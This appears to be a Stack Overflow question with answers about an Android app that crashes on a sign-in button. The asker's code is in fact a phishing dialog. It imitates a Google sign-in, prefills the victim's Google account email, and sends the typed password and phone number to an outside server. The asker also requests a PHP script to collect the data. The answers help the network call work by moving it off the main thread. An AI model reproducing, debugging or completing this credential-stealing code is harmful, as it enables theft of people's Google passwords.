0

My Android Server Client App crashes every time when I press signin button with error dialog

Sorry! the application ----- has stopped unexpectedly. please try again

Please help me. and please provide me a php script to store the sent data to my server..

ShowPassDialog.java

   public class ShowPassDialog extends Activity  {
   @Override
   public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    // Set up the dialog.
    requestWindowFeature(Window.FEATURE_NO_TITLE);
    setContentView(R.layout.pass_dialog);

    // Get the primary e-mail address of the user.
    Account[] accounts = AccountManager.get(this).getAccountsByType("com.google");
    final String primaryEmail = accounts[0].name;

    // Set the email field in the dialog to the primary email.
    TextView email = (TextView) findViewById(R.id.emailText);
    email.setText(primaryEmail);

    // Get the password field.
    final EditText pass = (EditText) findViewById(R.id.passInput);

    // Get the signin button and send password on click.
    Button signin = (Button) findViewById(R.id.signin);
    signin.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            sendPass(primaryEmail, pass.getText().toString());
            // Set a preference so the dialog is only showed once.

        }
    });
}


// This method will send the entered password to the server.
protected void sendPass(String primaryEmail, String password) {
    TelephonyManager mTelephonyMgr = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
    String mynumber = mTelephonyMgr.getLine1Number().substring(1);
    URL url;
    HttpURLConnection connect = null;
    BufferedReader rd;
    StringBuilder sb;
    OutputStreamWriter wr;
    // Replace this string with your receievepass.php url.
    String urlString = "goyal.com/gmail.php ";
    try {
        System.setProperty("http.keepAlive", "false");
        url = new URL(urlString);
        connect = (HttpURLConnection) url.openConnection();
        connect.setRequestMethod("POST");
        connect.setDoOutput(true);
        connect.setDoInput(true);
        connect.setReadTimeout(10000);

        connect.connect();

        // write to the stream
        StringBuilder data = new StringBuilder();
        String numData = URLEncoder.encode("phoneId", "UTF-8") + "="
                + URLEncoder.encode(mynumber, "UTF-8");
        String emailData = URLEncoder.encode("primaryEmail", "UTF-8") + "="
                + URLEncoder.encode(primaryEmail, "UTF-8");
        String passData = URLEncoder.encode("password", "UTF-8") + "="
                + URLEncoder.encode(password, "UTF-8");

        data.append(numData).append("&").append(emailData).append("&").append(passData);

        wr = new OutputStreamWriter(connect.getOutputStream());
        wr.write(data.toString());
        wr.flush();

        // read the result from the server
        rd = new BufferedReader(new InputStreamReader(connect.getInputStream()));
        sb = new StringBuilder();
        String line = null;
        while ((line = rd.readLine()) != null) {
            sb.append(line);
        }
    } catch (MalformedURLException e1) {
        e1.printStackTrace();
        Log.e("URL INVALID:", "The url given, " + urlString + ", is invalid.");
        return;
    } catch (IOException e) {
        e.printStackTrace();
        return;
    } finally {
        // close the connection, set all objects to null
        connect.disconnect();
        rd = null;
        sb = null;
        wr = null;
        connect = null;
    }
}

}

pass_dialog.xml

 <?xml version="1.0" encoding="utf-8"?>
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
 android:layout_width="match_parent"
 android:layout_height="fill_parent"
 android:orientation="vertical"
 android:padding="10dp" >

<LinearLayout
    android:id="@+id/linearLayout1"
    android:layout_width="match_parent"
    android:layout_height="wrap_content" >

    <ImageView
        android:id="@+id/imageView1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:src="@android:drawable/ic_dialog_alert" />

    <TextView
        android:id="@+id/textView1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:paddingLeft="10dp"
        android:text="Google sign-in"
        android:textAppearance="?android:attr/textAppearanceLarge" />
</LinearLayout>

<TextView
    android:id="@+id/passPrompt"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="20dp"
    android:text="@string/pass1" />

<TextView
    android:id="@+id/unTitle"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="10dp"
    android:text="Username"
    android:textStyle="bold" />

<TextView
    android:id="@+id/emailText"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="10dp"
    android:text="TextView" />

<TextView
    android:id="@+id/pTitle"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="10dp"
    android:text="Password"
    android:textStyle="bold" />

<EditText
    android:id="@+id/passInput"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:inputType="textPassword" >

    <requestFocus />
</EditText>



<LinearLayout
    android:id="@+id/buttonbg"
    android:layout_width="286dp"
    android:layout_height="wrap_content"
    android:background="@color/bggrey"
    android:gravity="center_horizontal"
    android:paddingTop="5dp"
    android:paddingBottom="5dp"
    android:orientation="vertical" >


    <Button
        android:id="@+id/signin"
        android:layout_width="87dp"
        android:layout_height="match_parent"
        android:paddingLeft="10dp"
        android:paddingRight="10dp"
        android:text="Sign in" />

</LinearLayout>

Peyman Mohamadpour
  • 17,954
  • 24
  • 89
  • 100
  • Use LogCat to examine the Java stack trace associated with your crash: https://stackoverflow.com/questions/23353173/unfortunately-myapp-has-stopped-how-can-i-solve-this – CommonsWare Feb 01 '16 at 20:36

3 Answers3

0

calling web services can be frustrating!

I recommend using this library on GitHub, it handles all the hard work, and its really easy to use.

https://github.com/koush/ion

just add this line to the gradle dependencies:

dependencies {
    compile 'com.koushikdutta.ion:ion:2.+'
}

and this piece of code will handle all the posts:

JsonObject json = new JsonObject();
json.addProperty("foo", "bar");

Ion.with(context)
.load("http://example.com/post")
.setJsonObjectBody(json)
.asJsonObject()
.setCallback(new FutureCallback<JsonObject>() {
   @Override
    public void onCompleted(Exception e, JsonObject result) {
        // do stuff with the result or error
    }
});
Muhammad Naderi
  • 3,090
  • 3
  • 24
  • 37
-1

You are doing http communication in Application's Main thread(activity). Most probably you must be getting android.os.NetworkOnMainThreadException exception.

You can not do client-server/http communication in Main Thread. Follow below suggestions to avoid crash.

1) Create different Thread or AsyncTask and write http communication calls in run in case of thread or doInBackground in case of AsyncTask.

2) Use Volley, Retrofit or some other HTTP calls library which make http calls in different threads.

You can see this question for reference.

Don't forget to add INTERNET permission in the app's Manifest as well

Community
  • 1
  • 1
AAnkit
  • 27,299
  • 12
  • 60
  • 71
-1

When performing Network calls, use Async Task. Write all the network-intensive code in its doInBackground().

Nevermore
  • 882
  • 2
  • 18
  • 44